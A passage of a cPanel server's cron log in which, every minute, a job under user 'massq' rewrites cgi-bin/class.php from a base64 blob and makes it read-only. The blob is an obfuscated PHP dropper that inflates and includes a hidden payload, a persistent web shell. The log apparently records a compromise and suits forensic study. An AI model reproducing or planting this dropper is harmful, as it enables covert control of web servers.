FuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:59:01 server CROND[12020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:00:01 server CROND[12086]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 17:00:01 server CROND[12087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:00:01 server CROND[12085]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 17:00:01 server CROND[12088]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 17:01:01 server CROND[12229]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 17:01:01 server CROND[12228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:01:01 server run-parts(/etc/cron.hourly)[12229]: starting 0anacron
Apr 10 17:01:01 server run-parts(/etc/cron.hourly)[12242]: finished 0anacron
Apr 10 17:02:01 server CROND[12316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:03:01 server CROND[12482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:04:01 server CROND[12548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:05:01 server CROND[12601]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 17:05:01 server CROND[12603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:05:01 server CROND[12602]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 17:05:01 server CROND[12604]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 17:05:01 server CROND[12605]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 10 17:06:01 server CROND[12724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:07:01 server CROND[12775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:08:01 server CROND[12930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:09:01 server CROND[12987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:09:01 server CROND[12988]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 17:10:01 server CROND[13054]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 17:10:01 server CROND[13055]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 17:10:01 server CROND[13056]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 17:10:01 server CROND[13057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:11:01 server CROND[13166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:12:01 server CROND[13219]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 17:12:01 server CROND[13220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 